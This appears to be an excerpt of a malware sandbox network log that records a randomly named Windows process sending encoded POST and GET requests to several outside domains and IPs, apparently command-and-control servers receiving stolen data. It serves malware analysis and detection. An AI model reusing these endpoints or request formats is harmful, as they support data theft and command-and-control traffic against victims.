Nov 20, 2024 08:32:24.442677975 CET	224	IN	Data Raw: 39 63 31 2e 34 37 34 2d 2e 31 32 36 20 32 2e 38 35 36 2e 37 33 31 20 33 2e 34 20 32 2e 31 30 37 2e 35 37 20 32 2e 30 32 35 2e 37 32 32 20 34 2e 31 34 35 2e 34 34 36 20 36 2e 32 33 31 7a 22 2f 3e 3c 70 61 74 68 20 66 69 6c 6c 3d 22 23 66 66 66 22 Data Ascii: 9c1.474-.126 2.856.731 3.4 2.107.57 2.025.722 4.145.446 6.231z"/><path fill="#fff" d="M39.765 24.186c-7.462 5.259-11.816 13.887-11.613 23.014 0 16.42 10.954 30.357 24.063 30.4h.15c13.079 0 24.183-13.8 24.242-30.191.013-4.387
Nov 20, 2024 08:32:24.442694902 CET	1236	IN	Data Raw: 2d 2e 38 33 36 2d 38 2e 37 33 34 2d 32 2e 35 2d 31 32 2e 37 39 33 2d 31 32 2e 32 32 35 2e 34 30 37 2d 32 36 2e 39 33 35 2d 32 2e 36 39 34 2d 33 34 2e 33 34 32 2d 31 30 2e 34 33 7a 22 2f 3e 3c 70 61 74 68 20 66 69 6c 6c 3d 22 23 66 36 30 22 20 64 Data Ascii: -.836-8.734-2.5-12.793-12.225.407-26.935-2.694-34.342-10.43z"/><path fill="#f60" d="M39.256 44.625c-1.8 0-3.2 1.776-3.217 4.064-.017 2.288 1.392 4.079 3.172 4.094 1.78.015 3.2-1.776 3.217-4.064.017-2.288-1.376-4.079-3.172-4.094zm26.2.12c-1.8 0
Nov 20, 2024 08:32:24.447444916 CET	1236	IN	Data Raw: 34 2e 32 35 39 20 32 2e 33 39 34 2d 37 2e 32 35 34 22 2f 3e 3c 70 61 74 68 20 66 69 6c 6c 3d 22 23 66 36 30 22 20 64 3d 22 4d 35 32 2e 33 36 35 20 36 30 2e 37 31 34 63 2d 2e 35 34 38 2e 30 30 31 2d 31 2e 30 36 36 2d 2e 32 34 38 2d 31 2e 34 30 37 Data Ascii: 4.259 2.394-7.254"/><path fill="#f60" d="M52.365 60.714c-.548.001-1.066-.248-1.407-.677l-2.319-2.92c-.455-.579-.514-1.377-.15-2.017 1.141-1.931 1.865-4.079 2.125-6.306-.016-.481.16-.949.489-1.3.494-.533 1.264-.71 1.94-.445.677.265 1.122.918 1.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49994	163.44.185.183	80	3320	C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:32:26.207138062 CET	561	OUT	GET /21k5/?9xn=fHadNpk8MVax&GR54yHZ8=fWbmkZjyrmfBp888CcG5P/tv6YAygrCJWn0G2JrBW+aKnevZKbpm6U1ITTXCtKXlDFd/bcpJLIqCcWUwrjM1A7+iBUY3/A2GvnNR6vC/W+DoFDwg0HeJMbxHf0rMeHWrRIOFx4E= HTTP/1.1 Host: www.sankan-fukushi.info Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3; SLCC2; Media Center PC 6.0)
Nov 20, 2024 08:32:26.991022110 CET	192	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Nov 2024 07:32:26 GMT Content-Type: text/html Content-Length: 19268 Connection: close Server: Apache Last-Modified: Tue, 25 Jan 2022 07:25:35 GMT
Nov 20, 2024 08:32:26.991189003 CET	1236	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 6a 61 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d Data Ascii: <!DOCTYPE html><html lang="ja"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>404 Error - Not Found</title> <style> html,body,h1,p { margin: 0;
Nov 20, 2024 08:32:26.991261005 CET	224	IN	Data Raw: 74 65 72 3b 0a 20 20 20 20 20 20 20 20 20 20 2d 6d 73 2d 66 6c 65 78 2d 70 61 63 6b 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 20 20 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 20 Data Ascii: ter; -ms-flex-pack: center; justify-content: center; -webkit-align-items: center; -ms-flex-align: center; align-items: center; -webkit-flex-wrap: wrap; -m
Nov 20, 2024 08:32:26.991271019 CET	1236	IN	Data Raw: 73 2d 66 6c 65 78 2d 77 72 61 70 3a 20 77 72 61 70 3b 0a 20 20 20 20 20 20 20 20 20 20 66 6c 65 78 2d 77 72 61 70 3a 20 77 72 61 70 3b 0a 20 20 20 20 20 20 20 20 20 20 6d 61 78 2d 77 69 64 74 68 3a 20 36 34 30 70 78 3b 0a 20 20 20 20 20 20 20 20 Data Ascii: s-flex-wrap: wrap; flex-wrap: wrap; max-width: 640px; margin: 20px auto; } @media screen and (min-width: 640px) { .lol-error-page__information { -webkit-flex-wrap: nowrap; -
Nov 20, 2024 08:32:26.991332054 CET	224	IN	Data Raw: 62 73 6f 6c 75 74 65 3b 0a 20 20 20 20 20 20 20 20 7a 2d 69 6e 64 65 78 3a 20 31 3b 0a 20 20 20 20 20 20 20 20 62 6f 74 74 6f 6d 3a 20 2d 38 70 78 3b 0a 20 20 20 20 20 20 20 20 6c 65 66 74 3a 20 63 61 6c 63 28 35 30 25 20 20 2d 20 31 30 70 78 29 Data Ascii: bsolute; z-index: 1; bottom: -8px; left: calc(50% - 10px); display: block; width: 0; content: ''; border-width: 10px 8px 0; border-style: solid; border
Nov 20, 2024 08:32:26.991343021 CET	1236	IN	Data Raw: 2d 63 6f 6c 6f 72 3a 20 23 66 63 33 20 74 72 61 6e 73 70 61 72 65 6e 74 3b 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 36 34 30 70 78 29 20 7b 0a 20 20 20 Data Ascii: -color: #fc3 transparent; } @media screen and (min-width: 640px) { .lol-error-page__information-balloon { -webkit-order: 1; -ms-flex-order: 1; order: 1; } .lol-error-page__infor
Nov 20, 2024 08:32:26.991425991 CET	224	IN	Data Raw: 74 20 7b 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 30 3b 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 36 34 30 70 78 29 20 7b 0a 20 Data Ascii: t { margin-left: 0; } @media screen and (min-width: 640px) { .lol-error-page__ad-banner-holizontal-right { margin-left: 20px; } } </style> <script type="text/javasc
Nov 20, 2024 08:32:26.991435051 CET	1236	IN	Data Raw: 72 69 70 74 22 3e 0a 20 20 20 20 2f 2f 20 e3 82 b3 e3 83 94 e3 83 bc e3 83 a9 e3 82 a4 e3 83 88 0a 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 73 65 74 43 6f 70 79 72 69 67 68 74 73 20 28 29 20 7b 0a 20 20 20 20 09 64 6f 63 75 6d 65 6e 74 2e 77 72 69 Data Ascii: ript"> // function setCopyrights () { document.write('copyright(c)2001-' + ' <a href="https://pepabo.com/" target="_blank">GMO</a> all rights reserved'); } </script></head><bod
Nov 20, 2024 08:32:26.991446018 CET	224	IN	Data Raw: 2e 32 35 33 20 30 2d 31 39 2e 39 33 33 20 33 2e 32 38 31 2d 32 35 2e 38 35 39 20 39 2e 39 2d 32 2e 37 32 37 20 33 2e 31 35 32 2d 34 2e 37 36 36 20 36 2e 38 33 39 2d 35 2e 39 38 36 20 31 30 2e 38 32 34 2e 33 30 38 2d 34 2e 38 35 38 20 31 2e 39 35 Data Ascii: .253 0-19.933 3.281-25.859 9.9-2.727 3.152-4.766 6.839-5.986 10.824.308-4.858 1.955-9.536 4.759-13.515z"/><path fill="#fff" d="M23.693 42.593h-.4c-2.993.166-4.34 1.505-3.966 8.293-.007 2.101.415 4.181 1.238 6.114.696 1.315 2
Nov 20, 2024 08:32:26.991514921 CET	1236	IN	Data Raw: 2e 31 38 20 32 2e 30 30 39 20 33 2e 36 33 35 20 31 2e 37 2e 36 34 36 2e 30 34 31 20 31 2e 32 38 34 2d 2e 31 35 32 20 31 2e 38 2d 2e 35 34 32 2e 35 32 34 2d 2e 36 33 32 2e 33 2d 32 2e 35 37 34 2e 30 37 35 2d 34 2e 35 31 35 2d 2e 31 32 2d 2e 39 39 Data Ascii: .18 2.009 3.635 1.7.646.041 1.284-.152 1.8-.542.524-.632.3-2.574.075-4.515-.12-.993-.239-2.047-.3-3.146-.061-1.099 0-2.167 0-3.161 0-1.9 0-3.853-.584-4.425-.447-.28-.978-.392-1.5-.316l.002-.002zm57.3.241c-.488-.051-.979.066-1.392.331-.6.557-.6
Nov 20, 2024 08:32:26.996211052 CET	1236	IN	Data Raw: 2e 36 39 31 20 31 2e 32 34 37 20 32 2e 32 39 36 20 33 2e 37 30 36 20 33 2e 36 36 38 20 36 2e 33 31 35 20 33 2e 35 32 32 68 2e 36 34 33 63 2e 39 37 39 2d 2e 30 33 32 20 31 2e 39 34 31 2d 2e 32 36 31 20 32 2e 38 32 39 2d 2e 36 37 33 20 34 2e 34 38 Data Ascii: .691 1.247 2.296 3.706 3.668 6.315 3.522h.643c.979-.032 1.941-.261 2.829-.673 4.489 11.438 14.1 19.566 24.976 19.566h.209c10.834 0 20.486-8.037 25.051-19.415.881.422 1.837.662 2.813.707h.733c2.576.142 5.006-1.201 6.255-3.458 1.144-2.399 1.746-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49995	172.67.162.12	80	3320	C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:32:32.227000952 CET	813	OUT	POST /m7wz/ HTTP/1.1 Host: www.conansog.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Connection: close Content-Length: 213 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.conansog.shop Referer: http://www.conansog.shop/m7wz/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3; SLCC2; Media Center PC 6.0) Data Raw: 47 52 35 34 79 48 5a 38 3d 70 31 44 52 51 43 2f 6c 65 35 71 69 39 33 39 33 48 49 53 6e 6a 57 41 72 6e 61 74 72 6b 6a 41 78 74 53 75 6d 39 68 79 56 39 41 79 53 36 36 77 2b 46 70 37 78 4f 68 43 42 46 36 76 37 53 75 2f 53 34 33 33 70 74 35 6b 33 78 48 4f 7a 54 4e 49 6e 59 43 2b 34 38 72 52 4e 62 77 42 7a 43 42 39 66 68 6d 49 72 6d 54 37 34 38 42 39 5a 74 79 64 37 4c 6f 48 79 6b 72 74 65 75 49 79 31 33 58 75 63 65 34 68 67 4a 45 5a 65 61 73 30 64 58 6c 65 62 68 45 6a 71 79 2b 62 59 64 63 70 66 7a 6c 65 79 2f 75 48 47 75 4b 6a 76 44 32 47 35 59 5a 42 39 58 41 46 65 41 5a 50 5a 55 45 62 79 66 4b 2f 36 57 73 32 46 5a 62 7a 79 49 41 58 74 Data Ascii: GR54yHZ8=p1DRQC/le5qi9393HISnjWArnatrkjAxtSum9hyV9AyS66w+Fp7xOhCBF6v7Su/S433pt5k3xHOzTNInYC+48rRNbwBzCB9fhmIrmT748B9Ztyd7LoHykrteuIy13Xuce4hgJEZeas0dXlebhEjqy+bYdcpfzley/uHGuKjvD2G5YZB9XAFeAZPZUEbyfK/6Ws2FZbzyIAXt
Nov 20, 2024 08:32:32.755002022 CET	736	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Nov 2024 07:32:32 GMT Content-Length: 0 Connection: close Vary: Accept-Encoding CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=q8qsgZKpL5%2BIEMLkgPctW4ezvVIezvcx1vZFZN5KOK27eIP2yS09Rl6Pbie6JGA1GpFKwM9tjbc1NzZpgqLkaQxEiVkoxRXzYGLUqnHuSL4LBq2jQKSVVrXEpu5c%2F7U1lymrzA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e56bf27d96618b4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1497&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=813&delivery_rate=0&cwnd=209&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49996	172.67.162.12	80	3320	C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:32:34.779586077 CET	837	OUT	POST /m7wz/ HTTP/1.1 Host: www.conansog.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Connection: close Content-Length: 237 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.conansog.shop Referer: http://www.conansog.shop/m7wz/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3; SLCC2; Media Center PC 6.0) Data Raw: 47 52 35 34 79 48 5a 38 3d 70 31 44 52 51 43 2f 6c 65 35 71 69 2f 55 6c 33 4c 4f 61 6e 7a 47 41 6b 72 36 74 72 79 54 42 34 74 53 71 6d 39 6b 57 37 39 79 6d 53 36 59 34 2b 45 6f 37 78 43 42 43 42 52 71 75 7a 50 2b 2f 46 34 33 79 57 74 37 41 33 78 48 61 7a 54 50 41 6e 59 31 43 37 2b 37 52 50 58 51 42 78 66 52 39 66 68 6d 49 72 6d 58 62 53 38 41 5a 5a 74 43 74 37 4c 4e 37 39 36 37 74 66 70 49 79 31 67 48 75 59 65 34 68 57 4a 46 46 30 61 70 77 64 58 6b 75 62 69 56 6a 74 38 4f 62 53 41 4d 6f 7a 79 57 6e 49 77 2f 2b 68 67 64 62 32 59 6b 62 63 64 76 63 6e 4c 7a 46 39 53 4a 76 62 55 47 44 41 66 71 2f 51 55 73 4f 46 4c 4d 2f 56 48 30 79 4f 38 32 6c 35 79 57 76 38 34 38 39 48 61 6c 6b 75 6b 38 38 2b 6e 77 3d 3d Data Ascii: GR54yHZ8=p1DRQC/le5qi/Ul3LOanzGAkr6tryTB4tSqm9kW79ymS6Y4+Eo7xCBCBRquzP+/F43yWt7A3xHazTPAnY1C7+7RPXQBxfR9fhmIrmXbS8AZZtCt7LN7967tfpIy1gHuYe4hWJFF0apwdXkubiVjt8ObSAMozyWnIw/+hgdb2YkbcdvcnLzF9SJvbUGDAfq/QUsOFLM/VH0yO82l5yWv8489Halkuk88+nw==
Nov 20, 2024 08:32:35.293843031 CET	736	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Nov 2024 07:32:35 GMT Content-Length: 0 Connection: close Vary: Accept-Encoding CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=K2QjhaMdPZUpTPf9YQKgxyrpiCFTXdfj4i51kY9YJ94UdBGPC5e1MWP1souS5GFU9ZsrGVQ2tl7qCWEAXH6TsBpu1FspQnqLQc9qgt6%2FUoL5e3Ix1tKHD3tP2g%2Bn2zjEpy1NWw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e56bf37bc16c40c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1469&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=837&delivery_rate=0&cwnd=217&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49997	172.67.162.12	80	3320	C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:32:37.335365057 CET	1850	OUT	POST /m7wz/ HTTP/1.1 Host: www.conansog.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Connection: close Content-Length: 1249 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.conansog.shop Referer: http://www.conansog.shop/m7wz/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3; SLCC2; Media Center PC 6.0) Data Raw: 47 52 35 34 79 48 5a 38 3d 70 31 44 52 51 43 2f 6c 65 35 71 69 2f 55 6c 33 4c 4f 61 6e 7a 47 41 6b 72 36 74 72 79 54 42 34 74 53 71 6d 39 6b 57 37 39 79 65 53 36 71 41 2b 46 4c 54 78 44 42 43 42 4f 61 75 79 50 2b 2f 45 34 33 4b 53 74 37 4d 34 78 46 69 7a 53 71 55 6e 54 68 57 37 33 37 52 50 4b 41 42 79 43 42 38 58 68 6d 59 6e 6d 54 2f 53 38 41 5a 5a 74 42 31 37 43 34 48 39 34 37 74 65 75 49 79 44 33 58 75 77 65 34 35 47 4a 46 78 4f 61 61 49 64 58 45 2b 62 79 33 4c 74 36 65 62 63 54 38 6f 72 79 58 62 74 77 2b 53 48 67 59 50 49 59 6b 76 63 64 59 31 77 54 67 70 34 4a 70 7a 63 43 68 72 62 58 66 58 44 54 74 47 48 4b 2b 44 44 46 56 2b 6d 6b 68 4d 6d 37 45 7a 34 77 65 42 6f 5a 44 52 34 6b 2b 34 36 6e 72 4c 38 63 7a 68 59 59 4b 42 69 34 62 50 6e 64 41 4d 44 68 71 6c 41 2b 4c 78 4d 62 6f 6b 4d 63 31 35 39 6d 63 39 35 30 47 5a 48 5a 6e 62 6e 41 36 32 51 73 6b 5a 32 63 69 38 52 53 39 38 54 5a 67 58 6b 55 36 73 39 4c 71 36 2f 4f 4c 56 31 4d 4d 4f 2b 70 44 39 30 34 35 61 71 70 71 68 46 6e 36 6d 78 41 77 64 48 58 [TRUNCATED] Data Ascii: GR54yHZ8=p1DRQC/le5qi/Ul3LOanzGAkr6tryTB4tSqm9kW79yeS6qA+FLTxDBCBOauyP+/E43KSt7M4xFizSqUnThW737RPKAByCB8XhmYnmT/S8AZZtB17C4H947teuIyD3Xuwe45GJFxOaaIdXE+by3Lt6ebcT8oryXbtw+SHgYPIYkvcdY1wTgp4JpzcChrbXfXDTtGHK+DDFV+mkhMm7Ez4weBoZDR4k+46nrL8czhYYKBi4bPndAMDhqlA+LxMbokMc159mc950GZHZnbnA62QskZ2ci8RS98TZgXkU6s9Lq6/OLV1MMO+pD9045aqpqhFn6mxAwdHXL3pt3hgkEG9yEY56ZYHk+IqY4CJqxG54Zd1u0th24PhEX+jKGybVgP0z273tZusvR1hrd2BNkT+XKGmEU4e+d7wrXe3PUHoHKI9+tgnTC8Yyjux5knKZyL1K85G2R4Bmwjz0S6gceANJDzqM9s1oCbiPv5sKmJ8yRg2/qyx8VvvKDw+F0IWbYJlwpE9BLYU+cjzmCyd9I4TATYfdyTPVk6bZspuxQ8cG3uwL8kNjxjOHi9hoHCNLje8uP6Z3sPr8TswEQZ1jDwkYOOv8cfvdf7n+YEJA+os31CFWWMt+Y1f5/5mHDorhXzwmOGHA8pSg2Vf1a2nKLJN9Sbpd4nHLFT7xjs9p3+pAPrQ2CjFCXzQTgZxKCwdLsZc7t5z6M9hvSQp7QmoUW2afld/zFsHevGPPCdkowvX2suQ/tZ5ejsDdU2E8ixtUk/+C1XHZJ0o9RBpxPlClw3QUVrttrsYsuPi3jcXf/19LGmVJSOt1+BD8DE32qDn8M0a3RFQa2YvKYt4uWyeKYZnKDH5d2p/oxmd7NuvZxmomsbEjQmPYA2jajhvoUyAjexrM590QXHDJzMcLoQrynCAJ9a8ldeKKY9kQnVbMu7F4mt9jI7gBonY+gUtgfwPo6LOG+3lq5NbBVtrDf8eQg5NGbWG3uWsWECx6GFMM17LM1p [TRUNCATED]
Nov 20, 2024 08:32:37.887171984 CET	737	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Nov 2024 07:32:37 GMT Content-Length: 0 Connection: close Vary: Accept-Encoding CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fsOM0cobQUnoO9b4LskZpsWXiuu4iqNSuQgzfS9oIkeaXTh6881BbxO0BILvhBxIMpn36iJPjDWnrJEVzi5ZEhOAxdXH1oCuvyIJS13FxVD43xxum9oZbcSe%2FUJEI%2B0MZNeojw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e56bf47eef07c81-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1987&sent=1&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=1850&delivery_rate=0&cwnd=235&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	49998	172.67.162.12	80	3320	C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:32:39.880542994 CET	555	OUT	GET /m7wz/?GR54yHZ8=k3rxT2/5CoW37253fqeJ2GQ6srVb5CIz6HeAuhy5mTu7sK1SIq+qIwOPP+2nE63N1XqW2uYy0GjlFOwlbRaUhLYFcCcGdRxpuCJbxh795ns7rh5kB8bzkZsIh+aAnGmWaZAVFBY=&9xn=fHadNpk8MVax HTTP/1.1 Host: www.conansog.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3; SLCC2; Media Center PC 6.0)
Nov 20, 2024 08:32:40.445230007 CET	738	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Nov 2024 07:32:40 GMT Content-Length: 0 Connection: close Vary: Accept-Encoding CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qtY4I4%2FPOl8mcAanVs610Df1xiU8L%2BOlIimEsI4ATtgSjSLCA5oEhz0l2Ia1b%2BKjrqq18l0uW7jVxxsam1eT0eEZY2RP2wbrewnLX9qrwjncEctnzKAgJOTSNwNfh0JGu1XNng%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e56bf57ec2f42b0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1572&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=555&delivery_rate=0&cwnd=224&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	49999	85.159.66.93	80	3320	C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:32:45.587671041 CET	819	OUT	POST /80gy/ HTTP/1.1 Host: www.beythome.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Connection: close Content-Length: 213 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.beythome.online Referer: http://www.beythome.online/80gy/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3; SLCC2; Media Center PC 6.0) Data Raw: 47 52 35 34 79 48 5a 38 3d 58 71 6e 30 66 74 44 65 55 61 4d 36 35 44 48 66 6d 71 4f 44 39 36 6a 70 32 2b 37 4f 64 34 52 53 6a 64 6d 43 74 7a 78 6f 45 32 63 31 41 47 46 42 66 6e 78 42 2b 48 5a 43 4e 58 58 4a 52 6f 38 49 6e 7a 71 52 62 53 74 4f 68 69 58 48 4d 35 6b 68 70 7a 2b 4e 78 4f 4f 71 42 45 67 31 50 51 49 34 6e 54 36 6a 4a 4f 59 62 59 74 64 6b 63 64 36 59 73 46 70 51 72 32 34 5a 6d 42 71 58 77 36 64 74 38 48 65 41 58 61 53 59 56 4a 49 72 68 56 37 6e 55 44 38 68 73 59 73 70 44 4b 38 4b 7a 30 71 35 79 79 74 79 74 54 6c 72 7a 47 36 46 30 33 4c 46 64 61 4d 2f 55 61 62 37 77 4c 41 71 78 41 51 6a 41 51 47 76 72 37 54 36 48 47 52 46 Data Ascii: GR54yHZ8=Xqn0ftDeUaM65DHfmqOD96jp2+7Od4RSjdmCtzxoE2c1AGFBfnxB+HZCNXXJRo8InzqRbStOhiXHM5khpz+NxOOqBEg1PQI4nT6jJOYbYtdkcd6YsFpQr24ZmBqXw6dt8HeAXaSYVJIrhV7nUD8hsYspDK8Kz0q5yytytTlrzG6F03LFdaM/Uab7wLAqxAQjAQGvr7T6HGRF

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	50000	85.159.66.93	80	3320	C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:32:48.138432026 CET	843	OUT	POST /80gy/ HTTP/1.1 Host: www.beythome.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Connection: close Content-Length: 237 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.beythome.online Referer: http://www.beythome.online/80gy/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3; SLCC2; Media Center PC 6.0) Data Raw: 47 52 35 34 79 48 5a 38 3d 58 71 6e 30 66 74 44 65 55 61 4d 36 36 6a 58 66 71 73 47 44 36 61 6a 6d 71 75 37 4f 54 59 52 57 6a 64 71 43 74 79 31 34 45 45 49 31 48 6a 35 42 65 6a 6c 42 77 6e 5a 43 44 33 58 41 66 49 38 44 6e 7a 32 33 62 51 4a 4f 68 6d 2f 48 4d 34 55 68 6f 41 57 4f 77 65 4f 53 4a 6b 67 33 53 41 49 34 6e 54 36 6a 4a 4b 49 78 59 74 31 6b 63 73 4b 59 75 6b 70 54 6c 57 35 72 6e 42 71 58 30 36 64 32 38 48 65 79 58 59 72 7a 56 50 55 72 68 58 6a 6e 56 53 38 69 6c 59 73 72 4d 71 39 59 2b 78 33 6c 74 42 4d 33 75 68 4a 70 79 6e 4b 38 78 42 57 66 42 70 4d 63 47 4b 37 35 77 4a 59 59 78 67 51 4a 43 51 2b 76 35 73 66 64 49 79 30 6d 4b 52 35 4e 74 30 49 52 78 50 33 71 62 69 4e 71 5a 65 70 73 41 67 3d 3d Data Ascii: 